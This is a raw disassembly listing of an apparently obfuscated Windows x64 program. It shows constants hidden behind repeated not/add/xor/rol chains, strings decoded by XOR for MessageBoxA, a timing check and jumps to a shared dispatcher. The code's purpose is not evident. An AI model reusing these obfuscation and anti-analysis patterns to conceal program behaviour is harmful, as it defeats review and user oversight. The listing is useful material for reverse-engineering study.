rol rax, 0x54
popf
pushf
not rax
add rax, 0x644f7e72
xor rax, 0x6cc794bb
rol rax, 0xea
popf
mov qword [rsp + 0x890], rax
movabs rax, 0xb4f5376977767467
pushf
not rax
add rax, 0x43101ba2
xor rax, 0x788ceac4
rol rax, 0xe6
popf
pushf
not rax
add rax, 0x423c5610
xor rax, 0x44529ff4
rol rax, 0xc9
popf
pushf
not rax
add rax, 0x4556edad
xor rax, 0x7ba8acd6
rol rax, 0xd0
popf
mov qword [rsp + 0x898], rax
movabs rax, 0x7f82db80218c70ae
pushf
not rax
add rax, 0x608128ed
xor rax, 0x471983af
rol rax, 0x61
popf
pushf
not rax
add rax, 0x56f73ce2
xor rax, 0x55a8a040
rol rax, 0x2a
popf
pushf
not rax
add rax, 0x4017a48c
xor rax, 0x700459fb
rol rax, 0xec
popf
pushf
not rax
add rax, 0x55ded0e4
xor rax, 0x4233277a
rol rax, 0x1f
popf
mov qword [rsp + 0x8a0], rax
movabs rax, 0x25e2b3179556f619
pushf
not rax
add rax, 0x5c9954e0
xor rax, 0x70283852
rol rax, 0x19
popf
pushf
not rax
add rax, 0x79429e40
xor rax, 0x7d4921c0
rol rax, 0x57
popf
mov qword [rsp + 0x8a8], rax
movabs rax, 0xea67513d711ddb87
pushf
not rax
add rax, 0x44987f1a
xor rax, 0x423e679a
rol rax, 0xcf
popf
pushf
not rax
add rax, 0x422972f8
xor rax, 0x73651a95
rol rax, 0x24
popf
mov qword [rsp + 0x8b0], rax
movabs rax, 0xceb671a61a710fcf
pushf
not rax
add rax, 0x5f5bed3d
xor rax, 0x4c97fc52
rol rax, 0x2d
popf
pushf
not rax
add rax, 0x73d1115f
xor rax, 0x6d1d532f
rol rax, 0x69
popf
mov qword [rsp + 0x8b8], rax
movabs rax, 0x9e9d54acd6dc7e16
pushf
not rax
add rax, 0x49e7a175
xor rax, 0x75bea14e
rol rax, 0x1f
popf
pushf
not rax
add rax, 0x5eae1f39
xor rax, 0x5db224bc
rol rax, 0xdc
popf
pushf
not rax
add rax, 0x6740e043
xor rax, 0x7c998385
rol rax, 0xfa
popf
mov qword [rsp + 0xb80], rax
movabs rax, 0xfe137d0159304c84
pushf
not rax
add rax, 0x7bef3473
xor rax, 0x7d5e12dc
rol rax, 0x51
popf
pushf
not rax
add rax, 0x59eaa194
xor rax, 0x77434c2f
rol rax, 0x66
popf
pushf
not rax
add rax, 0x5cf71c05
xor rax, 0x48530591
rol rax, 0x34
popf
mov qword [rsp + 0xb88], rax
movabs rax, 0x9893f8da2310bb43
pushf
not rax
add rax, 0x680d2699
xor rax, 0x5db1424e
rol rax, 0xc8
popf
pushf
not rax
add rax, 0x54470eac
xor rax, 0x645ac0b5
rol rax, 0x91
popf
mov qword [rsp + 0xb90], rax
movabs rax, 0xca175a36fd0732d
pushf
not rax
add rax, 0x7a1e78f0
xor rax, 0x67a56241
rol rax, 0xc5
popf
pushf
not rax
add rax, 0x66fd3d8c
xor rax, 0x54a42456
rol rax, 0xdd
popf
mov qword [rsp + 0xb98], rax
movabs rax, 0x81b425a2ebb1fa1
pushf
not rax
add rax, 0x637f039e
xor rax, 0x5a5fce2a
rol rax, 0xa9
popf
pushf
not rax
add rax, 0x78a44626
xor rax, 0x4f1dd14d
rol rax, 0x87
popf
mov qword [rsp + 0xba0], rax
movabs rax, 0xa386385b89811e96
pushf
not rax
add rax, 0x60385478
xor rax, 0x68151bee
rol rax, 0xed
popf
pushf
not rax
add rax, 0x55b840b0
xor rax, 0x77b22527
rol rax, 0x2f
popf
pushf
not rax
add rax, 0x43b39dd8
xor rax, 0x6c8686ed
rol rax, 0x98
popf
pushf
not rax
add rax, 0x7b6ab760
xor rax, 0x6e963247
rol rax, 0x6d
popf
mov qword [rsp + 0xba8], rax
movabs rax, 0x8468f49a8613edc6
pushf
not rax
add rax, 0x63b74026
xor rax, 0x56990e75
rol rax, 0x41
popf
pushf
not rax
add rax, 0x63148195
xor rax, 0x49ca135e
rol rax, 0x58
popf
pushf
not rax
add rax, 0x73f5b305
xor rax, 0x51c1ac1a
rol rax, 0xf2
popf
mov qword [rsp + 0xbb0], rax
movabs rax, 0x5b239001678d69f8
pushf
not rax
add rax, 0x656457d8
xor rax, 0x6b3b84f9
rol rax, 0x5a
popf
pushf
not rax
add rax, 0x4d73be1e
xor rax, 0x6af99ad2
rol rax, 0x55
popf
pushf
not rax
add rax, 0x508da62e
xor rax, 0x5fca9962
rol rax, 0x44
popf
pushf
not rax
add rax, 0x454fc7e2
xor rax, 0x66d83db6
rol rax, 0x68
popf
mov qword [rsp + 0xbb8], rax
lea rax, [rsp + 0x8e]
mov rdi, rax
xor eax, eax
mov ecx, 0x1b00249d
pushf
not ecx
add ecx, 0x82415a70
xor ecx, 0x85d3d98f
rol ecx, 0x3f
popf
pushf
not ecx
add ecx, 0x831df47b
xor ecx, 0x8deaa980
rol ecx, 0xbb
popf
pushf
not ecx
add ecx, 0xd07ba1c4
xor ecx, 0xe5f09318
rol ecx, 0x4d
popf
pushf
not ecx
add ecx, 0xfa552e28
xor ecx, 0xd3517cde
rol ecx, 0x7e
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x8e]
mov byte [rsp + 0x220], al
movdqa xmm0, xmmword [rsp + 0xb80]
movdqa xmmword [rsp + 0xf30], xmm0
movdqa xmm0, xmmword [rsp + 0x880]
movdqa xmmword [rsp + 0xf20], xmm0
movdqa xmm0, xmmword [rsp + 0xf20]
pxor xmm0, xmmword [rsp + 0xf30]
movdqa xmmword [rsp + 0xf40], xmm0
movdqa xmm0, xmmword [rsp + 0xf40]
movdqa xmmword [rsp + 0x880], xmm0
lea rax, [rsp + 0x890]
mov qword [rsp + 0x430], rax
lea rax, [rsp + 0xb90]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xf60], xmm0
mov rax, qword [rsp + 0x430]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xf50], xmm0
movdqa xmm0, xmmword [rsp + 0xf50]
pxor xmm0, xmmword [rsp + 0xf60]
movdqa xmmword [rsp + 0xf70], xmm0
mov rax, qword [rsp + 0x430]
movdqa xmm0, xmmword [rsp + 0xf70]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x8a0]
mov qword [rsp + 0x438], rax
lea rax, [rsp + 0xba0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xf90], xmm0
mov rax, qword [rsp + 0x438]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xf80], xmm0
movdqa xmm0, xmmword [rsp + 0xf80]
pxor xmm0, xmmword [rsp + 0xf90]
movdqa xmmword [rsp + 0xfa0], xmm0
mov rax, qword [rsp + 0x438]
movdqa xmm0, xmmword [rsp + 0xfa0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0x440], rax
lea rax, [rsp + 0xbb0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xfc0], xmm0
mov rax, qword [rsp + 0x440]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xfb0], xmm0
movdqa xmm0, xmmword [rsp + 0xfb0]
pxor xmm0, xmmword [rsp + 0xfc0]
movdqa xmmword [rsp + 0xfd0], xmm0
mov rax, qword [rsp + 0x440]
movdqa xmm0, xmmword [rsp + 0xfd0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x880]
mov qword [rsp + 0x610], rax
xor r9d, r9d
mov r8, qword [rsp + 0x608]
mov rdx, qword [rsp + 0x610]
xor ecx, ecx
jmp 0x1403e97d9
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
jmp 0x1403e97e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
jmp 0x1403ea2d5
lea rcx, [0x18076b925]
pushf
sub rcx, 0x40767665
popf
call fcn.1402d98bd
lea rax, [rsp + 0x8f]
mov rdi, rax
xor eax, eax
mov ecx, 0xad14e12f
pushf
not ecx
add ecx, 0x96a8e24f
xor ecx, 0xfea0938c
rol ecx, 0xdc
popf
pushf
not ecx
add ecx, 0xf8a11e7b
xor ecx, 0x896d4d8d
rol ecx, 0x39
popf
pushf
not ecx
add ecx, 0x9c7497a1
xor ecx, 0xe3d8162f
rol ecx, 0x1a
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x346aeff6
pushf
not ecx
add ecx, 0xc3a9482a
xor ecx, 0xfbb85474
rol ecx, 1
popf
pushf
not ecx
add ecx, 0x914333fc
xor ecx, 0xa8371b6c
rol ecx, 0x20
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x92]
mov rdi, rax
xor eax, eax
mov ecx, 0xd8f765f4
pushf
not ecx
add ecx, 0xecac69bc
xor ecx, 0xd4f349c1
rol ecx, 0xfd
popf
pushf
not ecx
add ecx, 0xdfc15ded
xor ecx, 0x849106c2
rol ecx, 0x70
popf
pushf
not ecx
add ecx, 0xece53e01
xor ecx, 0xae417d5f
rol ecx, 0x6d
popf
pushf
not ecx
add ecx, 0xc8c40996
xor ecx, 0xcfe6e90f
rol ecx, 0x97
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x93]
mov rdi, rax
xor eax, eax
mov ecx, 0x4bcb8ce7
pushf
not ecx
add ecx, 0xfa5cdb68
xor ecx, 0xcdb3fc4e
rol ecx, 0xf8
popf
pushf
not ecx
add ecx, 0xa4d1845a
xor ecx, 0xc65afb71
rol ecx, 0x58
popf
pushf
not ecx
add ecx, 0xc23ef254
xor ecx, 0xec2ebda9
rol ecx, 0x7c
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x8f]
mov byte [rsp + 0x228], al
movzx eax, byte [rsp + 0x90]
mov byte [rsp + 0x230], al
movabs rax, 0x2d821f87df4200c0
pushf
not rax
add rax, 0x6824c3e9
xor rax, 0x5d77a3cf
rol rax, 0x99
popf
pushf
not rax
add rax, 0x694d579d
xor rax, 0x697fbde1
rol rax, 0x91
popf
pushf
not rax
add rax, 0x557b1449
xor rax, 0x6a85d945
rol rax, 0xb9
popf
pushf
not rax
add rax, 0x5ed944e0
xor rax, 0x488c0446
rol rax, 0xe4
popf
mov qword [rsp + 0x570], rax
movabs rax, 0x532c7b779f5e0007
pushf
not rax
add rax, 0x6796be60
xor rax, 0x781f9481
rol rax, 0xe8
popf
pushf
not rax
add rax, 0x6ce45fa5
xor rax, 0x497868a7
rol rax, 0xcf
popf
pushf
not rax
add rax, 0x48c16aa2
xor rax, 0x470324d4
rol rax, 0x44
popf
pushf
not rax
add rax, 0x7b2eb2af
xor rax, 0x68387728
rol rax, 0x57
popf
mov qword [rsp + 0x578], rax
movabs rax, 0x72bed68afd4f6e12
pushf
not rax
add rax, 0x56d855eb
xor rax, 0x70851c96
rol rax, 0x12
popf
pushf
not rax
add rax, 0x5450db9b
xor rax, 0x6bf65760
rol rax, 0xae
popf
pushf
not rax
add rax, 0x51b9b2e8
xor rax, 0x6bbcd7bb
rol rax, 0x71
popf
pushf
not rax
add rax, 0x49d9c448
xor rax, 0x67c2f2be
rol rax, 0x8a
popf
mov qword [rsp + 0x910], rax
movabs rax, 0x32b0773f6171beee
pushf
not rax
add rax, 0x5a516bbf
xor rax, 0x65558c7a
rol rax, 0x49
popf
pushf
not rax
add rax, 0x4f2b0728
xor rax, 0x5d7a4ea9
rol rax, 0xcf
popf
pushf
not rax
add rax, 0x5232d8fd
xor rax, 0x64f74e35
rol rax, 0xe4
popf
pushf
not rax
add rax, 0x50979d4a
xor rax, 0x4f2d176d
rol rax, 0xe4
popf
mov qword [rsp + 0x918], rax
lea rax, [rsp + 0x91]
mov rdi, rax
xor eax, eax
mov ecx, 0xb84f93f0
pushf
not ecx
add ecx, 0xb8654574
xor ecx, 0xb08b300f
rol ecx, 0x51
popf
pushf
not ecx
add ecx, 0xfbca6da2
xor ecx, 0xd1484ba0
rol ecx, 0xbc
popf
pushf
not ecx
add ecx, 0x91353ec5
xor ecx, 0xe6d16b82
rol ecx, 0x9e
popf
pushf
not ecx
add ecx, 0xa7ceedd4
xor ecx, 0xddbdbd61
rol ecx, 0xa3
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x91]
mov byte [rsp + 0x238], al
movdqa xmm0, xmmword [rsp + 0x910]
movdqa xmmword [rsp + 0xff0], xmm0
movdqa xmm0, xmmword [rsp + 0x570]
movdqa xmmword [rsp + 0xfe0], xmm0
movdqa xmm0, xmmword [rsp + 0xfe0]
pxor xmm0, xmmword [rsp + 0xff0]
movdqa xmmword [rsp + 0x1000], xmm0
movdqa xmm0, xmmword [rsp + 0x1000]
movdqa xmmword [rsp + 0x570], xmm0
lea rax, [rsp + 0x570]
mov qword [rsp + 0x618], rax
movzx eax, byte [rsp + 0x92]
mov byte [rsp + 0x240], al
movzx eax, byte [rsp + 0x93]
mov byte [rsp + 0x248], al
movabs rax, 0x50e1229e358d6b1
pushf
not rax
add rax, 0x4e8e16bb
xor rax, 0x4e22ca58
rol rax, 0xb0
popf
pushf
not rax
add rax, 0x551b35ab
xor rax, 0x47cd1dc2
rol rax, 0xe
popf
pushf
not rax
add rax, 0x636f3064
xor rax, 0x46c4b1b7
rol rax, 0xcb
popf
pushf
not rax
add rax, 0x6bf58c31
xor rax, 0x4e30d955
rol rax, 0xf5
popf
mov qword [rsp + 0x820], rax
movabs rax, 0x73741477da90f85c
pushf
not rax
add rax, 0x4d1c9d22
xor rax, 0x7a28de21
rol rax, 0xe4
popf
pushf
not rax
add rax, 0x53e01c94
xor rax, 0x7f2044f4
rol rax, 0xd5
popf
pushf
not rax
add rax, 0x5682d1ed
xor rax, 0x7dda560b
rol rax, 0x95
popf
mov qword [rsp + 0x828], rax
movabs rax, 0x62d66141d6b1c7
pushf
not rax
add rax, 0x6a7eb2d7
xor rax, 0x7079fe7a
rol rax, 0xeb
popf
pushf
not rax
add rax, 0x6998d74e
xor rax, 0x6fa38b5e
rol rax, 0xe9
popf
mov qword [rsp + 0x830], rax
movabs rax, 0x8ee1adb71722a861
pushf
not rax
add rax, 0x4d980d13
xor rax, 0x46a75576
rol rax, 0x67
popf
pushf
not rax
add rax, 0x7353243a
xor rax, 0x7f528441
rol rax, 0x52
popf
pushf
not rax
add rax, 0x4b5045ba
xor rax, 0x5fe99e2f
rol rax, 0x53
popf
pushf
not rax
add rax, 0x7002f61c
xor rax, 0x51bbcf70
rol rax, 0x94
popf
mov qword [rsp + 0x838], rax
movabs rax, 0x8cb0214f9adacbeb
pushf
not rax
add rax, 0x4d173139
xor rax, 0x75d04c45
rol rax, 0xe6
popf
pushf
not rax
add rax, 0x71397d53
xor rax, 0x6422cfe4
rol rax, 0x8c
popf
pushf
not rax
add rax, 0x6a52d7e5
xor rax, 0x686cd8dd
rol rax, 0xb6
popf
mov qword [rsp + 0x840], rax
movabs rax, 0xf5daf1f6f1d2516
pushf
not rax
add rax, 0x76083ad5
xor rax, 0x64386c93
rol rax, 0x62
popf
pushf
not rax
add rax, 0x57145c56
xor rax, 0x6f9609b1
rol rax, 0xa0
popf
pushf
not rax
add rax, 0x5a948af7
xor rax, 0x62ee4392
rol rax, 0xe5
popf
pushf
not rax
add rax, 0x5ec242aa
xor rax, 0x638ecee0
rol rax, 0x11
popf
mov qword [rsp + 0x848], rax
movabs rax, 0x52f102cc3ddf000
pushf
not rax
add rax, 0x55ff83c0
xor rax, 0x6cf6ee5e
rol rax, 0xed
popf
pushf
not rax
add rax, 0x7496b25e
xor rax, 0x4b421ddb
rol rax, 0x44
popf
pushf
not rax
add rax, 0x45231485
xor rax, 0x59845457
rol rax, 0xd4
popf
mov qword [rsp + 0xb10], rax
movabs rax, 0xe56ecab64ca0da8f
pushf
not rax
add rax, 0x73cffaf4
xor rax, 0x49579237
rol rax, 0x6a
popf
pushf
not rax
add rax, 0x4d5978aa
xor rax, 0x7efa0178
rol rax, 0x28
popf
pushf
not rax
add rax, 0x5cfd2166
xor rax, 0x7c51d55f
rol rax, 0x6a
popf
pushf
not rax
add rax, 0x796c04b2
xor rax, 0x66ff277b
rol rax, 0xcf
popf
mov qword [rsp + 0xb18], rax
movabs rax, 0x73328c38147bb876
pushf
not rax
add rax, 0x5e4ee3d6
xor rax, 0x5b113313
rol rax, 0xe4
popf
pushf
not rax
add rax, 0x77ae8f3c
xor rax, 0x49af9b41
rol rax, 0xed
popf
pushf
not rax
add rax, 0x478f342f
xor rax, 0x52da7b7f
rol rax, 0xf3
popf
pushf
not rax
add rax, 0x610ff658
xor rax, 0x581d2f66
rol rax, 0x22
popf
mov qword [rsp + 0xb20], rax
movabs rax, 0x992bed16a764e808
pushf
not rax
add rax, 0x69ea86ee
xor rax, 0x7ce45ab8
rol rax, 0x36
popf
pushf
not rax
add rax, 0x58e881ea
xor rax, 0x55bfbb4d
rol rax, 0xae
popf
pushf
not rax
add rax, 0x7e0dd10f
xor rax, 0x61117890
rol rax, 0x68
popf
mov qword [rsp + 0xb28], rax
movabs rax, 0xc06a5022cc5c7e1a
pushf
not rax
add rax, 0x6c97017b
xor rax, 0x4842febe
rol rax, 0xb7
popf
pushf
not rax
add rax, 0x6c4c78db
xor rax, 0x789f98ce
rol rax, 0xef
popf
mov qword [rsp + 0xb30], rax
movabs rax, 0x77312e134c8175e7
pushf
not rax
add rax, 0x6bd6cce1
xor rax, 0x602ca8b6
rol rax, 0x86
popf
pushf
not rax
add rax, 0x45f84ab4
xor rax, 0x5e66cc93
rol rax, 0x17
popf
pushf
not rax
add rax, 0x6818f1f0
xor rax, 0x63d6f97e
rol rax, 0x41
popf
pushf
not rax
add rax, 0x7e0a832d
xor rax, 0x4b3db96f
rol rax, 0x21
popf
mov qword [rsp + 0xb38], rax
lea rax, [rsp + 0x94]
mov rdi, rax
xor eax, eax
mov ecx, 0xe78ebb91
pushf
not ecx
add ecx, 0xee5339d7
xor ecx, 0xe4a80da3
rol ecx, 0x78
popf
pushf
not ecx
add ecx, 0xb6fd7b52
xor ecx, 0xa622e9b7
rol ecx, 0xad
popf
pushf
not ecx
add ecx, 0xf8b96c8c
xor ecx, 0x8117273d
rol ecx, 0x1a
popf
pushf
not ecx
add ecx, 0xbffac83d
xor ecx, 0xdb0f5ad1
rol ecx, 0xd8
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x94]
mov byte [rsp + 0x250], al
movdqa xmm0, xmmword [rsp + 0xb10]
movdqa xmmword [rsp + 0x1020], xmm0
movdqa xmm0, xmmword [rsp + 0x820]
movdqa xmmword [rsp + 0x1010], xmm0
movdqa xmm0, xmmword [rsp + 0x1010]
pxor xmm0, xmmword [rsp + 0x1020]
movdqa xmmword [rsp + 0x1030], xmm0
movdqa xmm0, xmmword [rsp + 0x1030]
movdqa xmmword [rsp + 0x820], xmm0
lea rax, [rsp + 0x830]
mov qword [rsp + 0x448], rax
lea rax, [rsp + 0xb20]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x1050], xmm0
mov rax, qword [rsp + 0x448]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x1040], xmm0
movdqa xmm0, xmmword [rsp + 0x1040]
pxor xmm0, xmmword [rsp + 0x1050]
movdqa xmmword [rsp + 0x1060], xmm0
mov rax, qword [rsp + 0x448]
movdqa xmm0, xmmword [rsp + 0x1060]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x840]
mov qword [rsp + 0x450], rax
lea rax, [rsp + 0xb30]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x1080], xmm0
mov rax, qword [rsp + 0x450]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x1070], xmm0
movdqa xmm0, xmmword [rsp + 0x1070]
pxor xmm0, xmmword [rsp + 0x1080]
movdqa xmmword [rsp + 0x1090], xmm0
mov rax, qword [rsp + 0x450]
movdqa xmm0, xmmword [rsp + 0x1090]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x820]
mov qword [rsp + 0x620], rax
xor r9d, r9d
mov r8, qword [rsp + 0x618]
mov rdx, qword [rsp + 0x620]
xor ecx, ecx
jmp 0x1403ea280
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
jmp 0x1403ea289
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push rax
pushf
mov eax, 0xe041542
pushf
not eax
add eax, 0xddfeca11
xor eax, 0xdc2684bd
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xf34f7889
xor eax, 0xe6b6bec5
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xa7842ce2
xor eax, 0xadc0663b
rol eax, 9
popf
jmp 0x1403e32c1
lea rcx, [0x1a1fb8556]
pushf
sub rcx, 0x61fb4296
popf
call fcn.1402d98bd
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x140140a12], 1
lea rdx, [rsp + 0x14e0]
lea rcx, [rsp + 0x15f0]
call fcn.140005110
lea rdx, [rsp + 0x14c0]
lea rcx, [rsp + 0x14e0]
call fcn.1400037c0
lea rdx, [rsp + 0x1a58]
lea rcx, [rsp + 0x15f0]
call fcn.140005090
mov rcx, rax
call fcn.1400034b0
mov r8d, eax
lea rdx, [rsp + 0x15a8]
lea rcx, [rsp + 0x14c0]
call fcn.140003d60
mov qword [rsp + 0x628], rax
lea rdx, [rsp + 0x1530]
mov rcx, qword [rsp + 0x628]
call fcn.140003c80
mov rdx, rax
lea rcx, [0x1b724503f]
pushf
sub rcx, 0x7710502f
popf
call fcn.140012b90
lea rcx, [rsp + 0x1530]
call fcn.140005220
lea rcx, [rsp + 0x15a8]
call fcn.140003c20
lea rcx, [rsp + 0x1a58]
call fcn.140003500
lea rcx, [rsp + 0x14c0]
call fcn.140003c20
lea rcx, [rsp + 0x14e0]
call fcn.140003740
lea rcx, [rsp + 0x9d0]
call fcn.140005460
lea rcx, [rsp + 0x13b0]
call fcn.140005460
lea rcx, [rsp + 0x15c8]
call fcn.140005460
lea rcx, [rsp + 0x13d0]
call fcn.140005460
jmp 0x1403ea48c
xor ecx, ecx
jmp 0x1403ea440
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push rax
pushf
mov eax, 0x59f2c8b5
pushf
not eax
add eax, 0x99d8091e
xor eax, 0x974aed8a
rol eax, 0x67
popf
pushf
not eax
add eax, 0xd526ff53
xor eax, 0xbe165108
rol eax, 0x91
popf
pushf
not eax
add eax, 0x8dec8269
xor eax, 0xd34efbdc
rol eax, 0xe
popf
jmp 0x1403e32c1
lea rax, [rsp + 0x16b8]
mov rcx, rax
call fcn.140002f50
lea rax, [rsp + 0x1698]
mov rcx, rax
call fcn.140003740
lea rax, [rsp + 0x15f0]
mov rcx, rax
call fcn.140003500
push rax
pushf
mov eax, 0x2bf5c404
pushf
not eax
add eax, 0xb5b4c520
xor eax, 0xe3ccb504
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xf3bc5303
xor eax, 0xbf7bb754
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xe2763983
xor eax, 0xdca6a31b
rol eax, 0xd5
popf
jmp 0x1403e32c1
call fcn.14029d4f7
call fcn.14034e2f1
push rax
pushf
mov eax, 0x96c3785f
pushf
not eax
add eax, 0xa9bf9120
xor eax, 0xf08c0d20
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xcc6407ed
xor eax, 0xcb05fc05
rol eax, 0x9b
popf
jmp 0x1403e32c1
movzx eax, byte [0x140140a12]
test eax, eax
je 0x1403ea5a7
push rax
pushf
mov eax, 0xc9bb6992
pushf
not eax
add eax, 0xc41750c1
xor eax, 0xc57e42fa
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xe3572b5e
xor eax, 0xf775618c
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xbf936f48
xor eax, 0xbc15fb6e
rol eax, 0x21
popf
pushf
not eax
add eax, 0xae7950b1
xor eax, 0xfbb17d28
rol eax, 0x46
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0xde09e8e2
pushf
not eax
add eax, 0x9c7ee178
xor eax, 0xdd6583f4
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xde934e17
xor eax, 0xb39649fe
rol eax, 0x95
popf
pushf
not eax
add eax, 0xacb76eb1
xor eax, 0xf2ca49bf
rol eax, 0xf
popf
pushf
not eax
add eax, 0xa7932d11
xor eax, 0x9699f416
rol eax, 0xd3
popf
jmp 0x1403e32c1
movzx eax, byte [0x1401408e0]
test eax, eax
jne 0x1403ea651
push rax
pushf
mov eax, 0xc712d4ff
pushf
not eax
add eax, 0xbabd7718
xor eax, 0x86b4418a
rol eax, 0x91
popf
pushf
not eax
add eax, 0xcb37c21d
xor eax, 0xd4e0fede
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xd3dd59bf
xor eax, 0xb6ce072e
rol eax, 0x58
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x719e3a74
pushf
not eax
add eax, 0xc56ddb09
xor eax, 0xe328cf9d
rol eax, 0x42
popf
pushf
not eax
add eax, 0x87632581
xor eax, 0xc370a781
rol eax, 0xf
popf
pushf
not eax
add eax, 0xcbb3e9e7
xor eax, 0xe477698c
rol eax, 0x70
popf
jmp 0x1403e32c1
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
mov dword [rsp + 0x368], eax
mov byte [0x1401408e0], 1
push rax
pushf
mov eax, 0x59054ecf
pushf
not eax
add eax, 0xada17ee6
xor eax, 0xe0de404c
rol eax, 0x51
popf
pushf
not eax
add eax, 0xc9575791
xor eax, 0xb5c747d2
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xb810c8f6
xor eax, 0xa22af28a
rol eax, 0x85
popf
jmp 0x1403e32c1
mov r8d, 0xbc850796
pushf
not r8d
add r8d, 0xcd3d7014
xor r8d, 0x84a3cd6c
rol r8d, 0xe2
popf
pushf
not r8d
add r8d, 0xffeacbc7
xor r8d, 0xb05a668b
rol r8d, 0xc3
popf
pushf
not r8d
add r8d, 0xa532b912
xor r8d, 0xc76ce8a9
rol r8d, 0x58
popf
pushf
not r8d
add r8d, 0xe2df2655
xor r8d, 0xd273f1bc
rol r8d, 0x3a
popf
lea rdx, [0x190fe94df]
pushf
sub rdx, 0x50ea8acd
popf
mov rcx, qword [rsp + 0x630]
call fcn.1403d1016
mov rax, qword [0x140140a78]
mov qword [rsp + 0x458], rax
mov rax, qword [rsp + 0x458]
mov rax, qword [rax + 0x3ed8]
mov byte [rax + 0x98], 1
mov rax, qword [rsp + 0x458]
mov rax, qword [rax + 0x3ed8]
mov qword [rsp + 0x638], rax
mov rcx, qword [rsp + 0x638]
call fcn.1401fb635
call fcn.14027df03
movss xmm0, dword [0x140118050]
movss dword [rsp + 0x460], xmm0
movss xmm0, dword [0x140118008]
movss dword [rsp + 0x464], xmm0
lea rcx, [rsp + 0x460]
call fcn.140164f74
lea rax, [rsp + 0x95]
mov rdi, rax
xor eax, eax
mov ecx, 0x732de010
pushf
not ecx
add ecx, 0x900b353c
xor ecx, 0xef0be07c
rol ecx, 0xbb
popf
pushf
not ecx
add ecx, 0xf2fc7db9
xor ecx, 0xa3f737cf
rol ecx, 0x77
popf
pushf
not ecx
add ecx, 0xdbf20036
xor ecx, 0xfb292ab6
rol ecx, 0xb1
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x96]
mov rdi, rax
xor eax, eax
mov ecx, 0x22902747
pushf
not ecx
add ecx, 0xd42d2c6a
xor ecx, 0x8cd5381b
rol ecx, 0xfa
popf
pushf
not ecx
add ecx, 0x9477a840
xor ecx, 0xad82874b
rol ecx, 0xc7
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x95]
mov byte [rsp + 0x258], al
movzx eax, byte [rsp + 0x96]
mov byte [rsp + 0x260], al
movabs rax, 0xc2b071b71a5b0a8c
pushf
not rax
add rax, 0x7cefc0bb
xor rax, 0x505ba94b
rol rax, 0xdd
popf
pushf
not rax
add rax, 0x77f104a6
xor rax, 0x6b01b065
rol rax, 0xc8
popf
pushf
not rax
add rax, 0x43748d4f
xor rax, 0x499e6f12
rol rax, 0x40
popf
mov qword [rsp + 0x580], rax
movabs rax, 0xfabfd4c94d1e3989
pushf
not rax
add rax, 0x787e799d
xor rax, 0x6d99e277
rol rax, 0xa1
popf
pushf
not rax
add rax, 0x418b59e6
xor rax, 0x476fbd03
rol rax, 0xa0
popf
pushf
not rax
add rax, 0x4b0751d0
xor rax, 0x7bd16b15
rol rax, 0xd2
popf
pushf
not rax
add rax, 0x62db128c
xor rax, 0x5e4e5523
rol rax, 0xf7
popf
mov qword [rsp + 0x588], rax
movabs rax, 0x51ca5b4fc5ecf9c7
pushf
not rax
add rax, 0x46b5517e
xor rax, 0x7d05df24
rol rax, 0x6c
popf
pushf
not rax
add rax, 0x68d6bec2
xor rax, 0x7514e2dd
rol rax, 0xf1
popf
pushf
not rax
add rax, 0x56beda80
xor rax, 0x79bd13bc
rol rax, 0x3e
popf
mov qword [rsp + 0x920], rax
movabs rax, 0x211c40689a766dd3
pushf
not rax
add rax, 0x52a4a742
xor rax, 0x5d3dfcf0
rol rax, 0x52
popf
pushf
not rax
add rax, 0x76c28f85
xor rax, 0x5d5a04c3
rol rax, 0xa9
popf
pushf
not rax
add rax, 0x53564407
xor rax, 0x540612ec
rol rax, 0xfb
popf
pushf
not rax
add rax, 0x4486e614
xor rax, 0x68cd9f45
rol rax, 0x77
popf
mov qword [rsp + 0x928], rax
lea rax, [rsp + 0x97]
mov rdi, rax
xor eax, eax
mov ecx, 0x18f3d290
pushf
not ecx
add ecx, 0x8f828ed4
xor ecx, 0xf2f04e47
rol ecx, 0x6e
popf
pushf
not ecx
add ecx, 0x86691116
xor ecx, 0xc9e7ebf6
